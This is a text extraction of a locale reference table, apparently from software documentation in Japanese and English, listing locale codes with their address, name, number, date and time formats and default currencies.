ar_LYアラビア語
(リビア)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

        :    /  /       :   PMMoroccan
Dirham: MAD

ar_MAアラビア語
(モロッコ)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

        :    /  /       :   PMオマーンリ
アル: OMR

ar_OMアラビア語
(オマーン)

City, State
ZipCode
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住所の形式名前の形式数値の形式時刻の形式日付と時刻
の形式

通貨のデ
フォルト値

コード名前

Country

Address Line 1,

Address Line 2

Ms. FName
LName

        :    /  /       :   PMカタールリ
アル: QAR

ar_QAArabic (Qatar)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

        :    /  /       :   PMSaudi Arabian
Riyal: SAR

ar_SAArabic (Saudi
Arabia)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

        :    /  /       :   PMスーダンポ
ンド: SDG

ar_SDアラビア語
(スーダン)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

        :    /  /       :   PMシリアポン
ド: SYP

ar_SYアラビア語
(シリア)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

        :    /  /       :   PMチュニジア
ディナール:
TND

ar_TNアラビア語
(チュニジア)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

        :    /  /       :   PMUAE Dirham:
AED

ar_AEArabic (United
Arab Emirates)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

        :    /  /       :   PMイエメンリ
ヤル: YER

ar_YEアラビア語
(イエメン)
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住所の形式名前の形式数値の形式時刻の形式日付と時刻
の形式

通貨のデ
フォルト値

コード名前

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1234,5606:0002/28/2008
16:30

Armenian
Dram: AMD

hy_AMArmenian
(Armenia)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,5606:002008-02-28
16:30

アゼルバイ
ジャン新マ
ナット: AZN

az_AZAzerbaijani
(Azerbaijan)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,5606:002008-02-28
16:30

Euro: EUReu_ESBasque (Spain)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1 234,566.0028.2.2008
16.30

ベラルーシ
ルーブル:
BYR

be_BYBelarusian
(Belarus)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

       :              / /      :   PMバングラ
デッシュタ
カ: BDT

bn_BDBengali
(Bangladesh)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,5606:0028.02.2008.
16:30

兌換マルク:
BAM

bs_BABosnian
(Bosnia and
Herzegovina)

City, State
ZipCode

Country
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住所の形式名前の形式数値の形式時刻の形式日付と時刻
の形式

通貨のデ
フォルト値

コード名前

Address Line 1,

Address Line 2

Ms. FName
LName

1 234,566:0002.28.2008
16:30

ブルガリア
レフ: BGN

bg_BGBulgarian
(Bulgaria)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

 ,   .    :      /  /     :  ミャンマー
チャット:
MMK

my_MMビルマ語
(ミャンマー
[ビルマ]) City, State

ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,5606:0028/02/2008
16:30

Euro: EURca_ES_EUROカタロニア
語 (スペイ
ン、ユーロ) City, State

ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,5606:0028/02/2008
16:30

Euro: EURca_ESCatalan (Spain)

City, State
ZipCode

Country

Country

ZipCode State
City

LName FName1,234.56上午6:002008-2-28 PM
4:30

Chinese Yuan:
CNY

zh_CN_PINYINChinese (China,
Pinyin
Ordering)

Address Line 1,

Address Line 2

Country

ZipCode State
City

LName FName1,234.56上午6:002008-2-28 PM
4:30

Chinese Yuan:
CNY

zh_CN_STROKEChinese (China,
Stroke
Ordering)

Address Line 1,

Address Line 2

Country

ZipCode State
City

LName FName1,234.56上午6:002008-2-28 PM
4:30

Chinese Yuan:
CNY

zh_CNChinese
(China)

Address Line 1,
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住所の形式名前の形式数値の形式時刻の形式日付と時刻
の形式

通貨のデ
フォルト値

コード名前

Address Line 2

Country

ZipCode State
City

LName FName1,234.56上午6:002008年2月28

日 PM4:30

Hong Kong
Dollar: HKD

zh_HK_STROKE中国語 (香港
特別行政区
中国、筆順)

Address Line 1,

Address Line 2

Country

ZipCode State
City

LName FName1,234.56上午6:002008年2月28

日 PM4:30

Hong Kong
Dollar: HKD

zh_HK中国語 (香港
特別行政区
中国)

Address Line 1,

Address Line 2

Country

ZipCode State
City

LName FName1,234.56上午6:002008年2月28

日 PM4:30

マカオパタ
カ: MOP

zh_MO中国語 (マカ
オ特別行政
区中国)

Address Line 1,

Address Line 2

Country

ZipCode State
City

LName FName1,234.56上午06:0028/02/2008
PM 04:30

Singapore
Dollar: SGD

zh_SGChinese
(Singapore)

Address Line 1,

Address Line 2

Country

ZipCode State
City

LName FName1,234.56上午6:002008-2-28 PM
4:30

Taiwan Dollar:
TWD

zh_TW_STROKEChinese
(Taiwan, Stroke
Ordering)

Address Line 1,

Address Line 2

Country

ZipCode State
City

LName FName1,234.56上午6:002008-2-28 PM
4:30

Taiwan Dollar:
TWD

zh_TWChinese
(Taiwan)

Address Line 1,

Address Line 2

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,5606:0028.02.2008.
16:30

Croatian Kuna:
HRK

hr_HRCroatian
(Croatia)
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住所の形式名前の形式数値の形式時刻の形式日付と時刻
の形式

通貨のデ
フォルト値

コード名前

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1 234,566:0028.2.2008
16:30

Czech Koruna:
CZK

cs_CZCzech (Czech
Republic)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,5606:0028-02-2008
16:30

Danish Krone:
DKK

da_DKDanish
(Denmark)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,566:0028-2-2008
16:30

アルーバフ
ローリン:
AWG

nl_AWオランダ語
(アルーバ)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,566:0028/02/2008
16:30

Euro: EURnl_BEDutch
(Belgium)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,566:0028-2-2008
16:30

Euro: EURnl_NLDutch
(Netherlands)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,566:0028-2-2008
16:30

Surinam Dollar:
SRD

nl_SRDutch
(Suriname)

City, State
ZipCode

Country
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住所の形式名前の形式数値の形式時刻の形式日付と時刻
の形式

通貨のデ
フォルト値

コード名前

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

ブータンヌ
ルタム: BTN

dz_BTゾンカ語
(ブータン)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

東カリブド
ル: XCD

en_AG英語 (アンチ
グアバー
ブーダ) City, State

ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM28/02/2008
4:30 PM

Australian
Dollar: AUD

en_AUEnglish
(Australia)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

バハマドル:
BSD

en_BS英語 (バハ
マ)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM28/02/2008
16:30

Barbados
Dollar: BBD

en_BBEnglish
(Barbados)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

ベリーズド
ル: BZD

en_BZ英語 (ベリー
ズ)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM28/02/2008
16:30

Bermuda
Dollar: BMD

en_BMEnglish
(Bermuda)

City, State
ZipCode
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住所の形式名前の形式数値の形式時刻の形式日付と時刻
の形式

通貨のデ
フォルト値

コード名前

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM28/02/2008
4:30 PM

ボツワナ
プーラ: BWP

en_BW英語 (ボツワ
ナ)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

CFA Franc
(BEAC): XAF

en_CM英語 (カメ
ルーン)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM28/02/2008
4:30 PM

Canadian
Dollar: CAD

en_CAEnglish
(Canada)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

ケイマン諸
島ドル: KYD

en_KY英語 (ケイマ
ン諸島)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

エリトリア
ナクファ:
ERN

en_ER英語 (エリト
リア)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

フォークラ
ンド諸島ポ
ンド: FKP

en_FK英語 (フォー
クランド諸
島) City, State

ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

フィジード
ル: FJD

en_FJ英語 (フィ
ジー)
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住所の形式名前の形式数値の形式時刻の形式日付と時刻
の形式

通貨のデ
フォルト値

コード名前

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

ガンビアダ
ラーシ: GMD

en_GM英語 (ガンビ
ア)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM28/02/2008
16:30

ガーナセ
ディ: GHS

en_GHEnglish
(Ghana)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

ジブラルタ
ルポンド: GIP

en_GI英語 (ジブラ
ルタル)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

ガイアナド
ル: GYD

en_GY英語 (ガイア
ナ)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM28/2/2008 4:30
PM

Hong Kong
Dollar: HKD

en_HK英語 (香港特
別行政区中
国) City, State

ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM28/2/2008 4:30
PM

Indian Rupee:
INR

en_INEnglish (India)

City, State
ZipCode

Country
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住所の形式名前の形式数値の形式時刻の形式日付と時刻
の形式

通貨のデ
フォルト値

コード名前

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM28/02/2008
16:30

Indonesian
Rupiah: IDR

en_IDEnglish
(Indonesia)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.5606:0028/02/2008
16:30

Euro: EURen_IE_EURO英語 (アイル
ランド、
ユーロ) City, State

ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.5606:0028/02/2008
16:30

Euro: EURen_IEEnglish
(Ireland)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

ジャマイカ
ドル: JMD

en_JM英語 (ジャマ
イカ)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

ケニアシリ
ング: KES

en_KE英語 (ケニ
ア)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

リベリアド
ル: LRD

en_LR英語 (リベリ
ア)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

マラガシー
アリアリ:
MGA

en_MG英語 (マダガ
スカル)

City, State
ZipCode
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住所の形式名前の形式数値の形式時刻の形式日付と時刻
の形式

通貨のデ
フォルト値

コード名前

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

マラウィク
ワッチャ:
MWK

en_MW英語 (マラ
ウィ)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM28/02/2008
16:30

Malaysian
Ringgit: MYR

en_MYEnglish
(Malaysia)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

モーリシャ
スルピー:
MUR

en_MU英語 (モーリ
シャス)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

ナミビアド
ル: NAD

en_NA英語 (ナミビ
ア)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM28/02/2008
4:30 PM

New Zealand
Dollar: NZD

en_NZEnglish (New
Zealand)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM28/02/2008
16:30

Nigerian Naira:
NGN

en_NGEnglish
(Nigeria)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

Pakistani
Rupee: PKR

en_PKEnglish
(Pakistan)
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住所の形式名前の形式数値の形式時刻の形式日付と時刻
の形式

通貨のデ
フォルト値

コード名前

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

パプア
ニューギニ
アキナ: PGK

en_PG英語 (パプア
ニューギニ
ア) City, State

ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

フィリピン
ペソ: PHP

en_PHEnglish
(Philippines)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

ルワンダフ
ラン: RWF

en_RW英語 (ルワン
ダ)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

セントヘレ
ナポンド:
SHP

en_SH英語 (セント
ヘレナ)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

サモアター
ラ: WST

en_WS英語 (サモ
ア)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

セイシェル
ルピー: SCR

en_SC英語 (セイ
シェル)

City, State
ZipCode

Country
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住所の形式名前の形式数値の形式時刻の形式日付と時刻
の形式

通貨のデ
フォルト値

コード名前

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

シエラレオ
ネレオネ: SLL

en_SL英語 (シエラ
レオネ)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM28/02/2008
16:30

Singapore
Dollar: SGD

en_SGEnglish
(Singapore)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

オランダ領
アンティー
ルギルダー:
ANG

en_SX英語 (シント
マールテン
(オランダ
領))

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

ソロモン諸
島ドル: SBD

en_SB英語 (ソロモ
ン諸島)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2008/02/28
4:30 PM

South African
Rand: ZAR

en_ZAEnglish (South
Africa)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

スワジラン
ドリラン
ジェニ: SZL

en_SZ英語 (スワジ
ランド)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

タンザニア
シリング:
TZS

en_TZ英語 (タンザ
ニア)

City, State
ZipCode
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住所の形式名前の形式数値の形式時刻の形式日付と時刻
の形式

通貨のデ
フォルト値

コード名前

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

トンガバー
アンガ: TOP

en_TO英語 (トン
ガ)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

トリニダー
ドトバゴド
ル: TTD

en_TT英語 (トリニ
ダード・ト
バゴ) City, State

ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

ウガンダシ
リング: UGX

en_UG英語 (ウガン
ダ)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.5606:0028/02/2008
16:30

British Pound:
GBP

en_GBEnglish (United
Kingdom)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

U.S. Dollar:
USD

en_USEnglish (United
States)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

バヌアツバ
ツ: VUV

en_VU英語 (バヌア
ツ)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1 234,566:0028.02.2008
16:30

Euro: EURet_EEEstonian
(Estonia)
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住所の形式名前の形式数値の形式時刻の形式日付と時刻
の形式

通貨のデ
フォルト値

コード名前

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1 234,566:0028.2.2008
16:30

Euro: EURfi_FI_EUROフィンラン
ド語 (フィン
ランド、
ユーロ)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1 234,566:0028.2.2008
16:30

Euro: EURfi_FIFinnish
(Finland)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,566:0028/02/2008
16:30

Euro: EURfr_BEFrench
(Belgium)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1 234,5606:002008-02-28
16:30

Canadian
Dollar: CAD

fr_CAFrench
(Canada)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1 234,5606:0028/02/2008
16:30

コモロフラ
ン: KMF

fr_KMフランス語
(コモロ)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1 234,5606:0028/02/2008
16:30

Euro: EURfr_FR_EUROフランス語
(フランス、
ユーロ) City, State

ZipCode

Country
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住所の形式名前の形式数値の形式時刻の形式日付と時刻
の形式

通貨のデ
フォルト値

コード名前

Address Line 1,

Address Line 2

Ms. FName
LName

1 234,5606:0028/02/2008
16:30

Euro: EURfr_FRFrench
(France)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1 234,5606:0028/02/2008
16:30

ギニアフラ
ン: GNF

fr_GNフランス語
(ギニア)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1 234,5606:0028/02/2008
16:30

ハイチグー
ルド: HTG

fr_HTフランス語
(ハイチ)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1 234,5606:0028/02/2008
16:30

Euro: EURfr_LUFrench
(Luxembourg)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1 234,5606:0028/02/2008
16:30

モーリタニ
アウギア:
MRO

fr_MRフランス語
(モーリタニ
ア) City, State

ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1 234,5606:0028/02/2008
16:30

Euro: EURfr_MCFrench
(Monaco)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1'234.5606:0028.02.2008
16:30

Swiss Franc:
CHF

fr_CHFrench
(Switzerland)

市区郡
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住所の形式名前の形式数値の形式時刻の形式日付と時刻
の形式

通貨のデ
フォルト値

コード名前

Country - State
ZipCode

Address Line 1,

Address Line 2

Ms. FName
LName

1 234,5606:0028/02/2008
16:30

太平洋フラ
ン: XPF

fr_WFフランス語
(ワリー・
エ・フ City, State

ZipCodeトゥーナ諸
島)

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,5606:002008-02-28
16:30

グルジアラ
リ: GEL

ka_GEGeorgian
(Georgia)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,5606:0028.02.2008
16:30

Euro: EURde_AT_EUROドイツ語
(オーストリ
ア、ユーロ) ZipCode City

State Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,5606:0028.02.2008
16:30

Euro: EURde_ATGerman
(Austria)

ZipCode City

State Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,5606:0028.02.2008
16:30

Euro: EURde_DE_EUROドイツ語 (ド
イツ、ユー
ロ) ZipCode City

State Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,5606:0028.02.2008
16:30

Euro: EURde_DEGerman
(Germany)

ZipCode City

State Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,5606:0028.02.2008
16:30

Euro: EURde_LU_EUROドイツ語 (ル
クセンブル
グ、ユーロ) ZipCode City

State Country
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住所の形式名前の形式数値の形式時刻の形式日付と時刻
の形式

通貨のデ
フォルト値

コード名前

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,5606:0028.02.2008
16:30

Euro: EURde_LUGerman
(Luxembourg)

ZipCode City

State Country

Address Line 1,

Address Line 2

Ms. FName
LName

1'234.5606:0028.02.2008
16:30

Swiss Franc:
CHF

de_CHGerman
(Switzerland)

ZipCode City

State Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,566:00 πμ28/2/2008 4:30
PM

Euro: EURel_GRGreek (Greece)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.5606:0016:30
28/02/2008

Israeli Shekel:
ILS

iw_ILHebrew (Israel)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

 ,   .   :              / /      :   PMIndian Rupee:
INR

hi_INHindi (India)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

LName FName1 234,566:002008.02.28.
16:30

ハンガリー
フォーリン
ト: HUF

hu_HUHungarian
(Hungary)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,5606:0028.2.2008
16:30

Iceland Krona:
ISK

is_ISIcelandic
(Iceland)

City, State
ZipCode

Country
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住所の形式名前の形式数値の形式時刻の形式日付と時刻
の形式

通貨のデ
フォルト値

コード名前

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,566:0028/02/2008
16:30

Indonesian
Rupiah: IDR

in_IDIndonesian
(Indonesia)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.5606:0028/02/2008
16:30

Euro: EURga_IEIrish (Ireland)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,566.0028/02/2008
16.30

Euro: EURit_ITItalian (Italy)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1'234.5606:0028.02.2008
16:30

Swiss Franc:
CHF

it_CHItalian
(Switzerland)

市区郡
Country - State
ZipCode

Country

ZipCode State
City

LName FName1,234.566:002008/02/28
16:30

日本円: JPYja_JPJapanese
(Japan)

Address Line 1,

Address Line 2

Address Line 1,

Address Line 2

Ms. FName
LName

1 234,5606:0028.02.2008
16:30

Kazakhstan
Tenge: KZT

kk_KZKazakh
(Kazakhstan)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,566:0028/2/2008,
16:30

Cambodia Riel:
KHR

km_KHKhmer
(Cambodia)

City, State
ZipCode
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住所の形式名前の形式数値の形式時刻の形式日付と時刻
の形式

通貨のデ
フォルト値

コード名前

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

キルギスタ
ンソム: KGS

ky_KGキルギス語
(キルギスタ
ン) City, State

ZipCode

Country

Country

ZipCode State
City

LName FName1,234.56오전 6:002008. 2. 28 PM
4:30

北朝鮮ウォ
ン: KPW

ko_KP韓国語 (北朝
鮮)

Address Line 1,

Address Line 2

Country

ZipCode State
City

LName FName1,234.56오전 6:002008. 2. 28 PM
4:30

Korean Won:
KRW

ko_KRKorean (South
Korea)

Address Line 1,

Address Line 2

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

ラオスキッ
プ: LAK

lo_LAラオ語 (ラオ
ス)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1 234,5606:0028.02.2008
16:30

Euro: EURlv_LVLatvian (Latvia)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1 234,5606.002008.2.28
16.30

Euro: EURlt_LTLithuanian
(Lithuania)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

コンゴフラ
ン: CDF

lu_CDルバ・カタ
ンガ語 (コン
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住所の形式名前の形式数値の形式時刻の形式日付と時刻
の形式

通貨のデ
フォルト値

コード名前

ゴ - キン
シャサ)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

Euro: EURlb_LULuxembourgish
(Luxembourg)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,5606:0028.2.2008
16:30

Macedonian
Denar: MKD

mk_MKMacedonian
(Macedonia)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,566:00 AM28/02/2008
4:30 PM

Brunei Dollar:
BND

ms_BNMalay (Brunei)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM28/02/2008
4:30 PM

Malaysian
Ringgit: MYR

ms_MYMalay
(Malaysia)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.5606:0028/02/2008
16:30

Euro: EURmt_MTMaltese (Malta)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

 ,   .    :      -  -     :  ネパールル
ピー: NPR

ne_NPネパール語
(ネパール)

City, State
ZipCode

Country
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住所の形式名前の形式数値の形式時刻の形式日付と時刻
の形式

通貨のデ
フォルト値

コード名前

Address Line 1,

Address Line 2

Ms. FName
LName

1 234,5606:0028.02.2008
16:30

Norwegian
Krone: NOK

no_NONorwegian
(Norway)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

          :   :     / /    アフガニス
タンアフガ
ニ (新規):
AFN

ps_AFパシュトウ
語 (アフガニ
スタン) City, State

ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

          :   :        /  / イランリア
ル: IRR

fa_IRペルシア語
(イラン)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1 234,5606:0028.02.2008
16:30

Polish Zloty:
PLN

pl_PLPolish (Poland)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,566:0028-02-2008
16:30

Angola
Kwanza: AOA

pt_AOPortuguese
(Angola)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,5606:0028/02/2008
16:30

Brazilian Real:
BRL

pt_BRPortuguese
(Brazil)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,566:0028-02-2008
16:30

カーボベル
デエスクー
ド: CVE

pt_CVポルトガル
語 (カーボベ
ルデ) City, State

ZipCode

340
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住所の形式名前の形式数値の形式時刻の形式日付と時刻
の形式

通貨のデ
フォルト値

コード名前

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,5606:0028/02/2008
16:30

モザンビー
クニューメ
ティカル:
MZN

pt_MZポルトガル
語 (モザン
ビーク) City, State

ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,566:0028-02-2008
16:30

Euro: EURpt_PTPortuguese
(Portugal)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,566:0028-02-2008
16:30

サントメド
ブラ: STD

pt_STポルトガル
語 (サント
メ・プリン
シペ)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,5606:0028.02.2008,
16:30

Moldovan Leu:
MDL

ro_MDRomanian
(Moldova)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,5606:0028.02.2008
16:30

Romanian Leu
(New): RON

ro_RORomanian
(Romania)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1'234.5606:0028.02.2008
16:30

Swiss Franc:
CHF

rm_CHRomansh
(Switzerland)

市区郡
Country - State
ZipCode

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

ブルンジフ
ラン: BIF

rn_BIルンディ語
(ブルンジ)
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住所の形式名前の形式数値の形式時刻の形式日付と時刻
の形式

通貨のデ
フォルト値

コード名前

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1 234,566:0028.02.2008
16:30

Russian
Rouble: RUB

ru_RURussian
(Russia)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,5606:002008-02-28
16:30

兌換マルク:
BAM

sr_BAセルビア語
(ボスニア・
ヘルツェゴ
ヴィナ)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,5606.0028.2.2008.
16.30

セルビア
ディナール:
RSD

sr_RSセルビア語
(セルビア)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
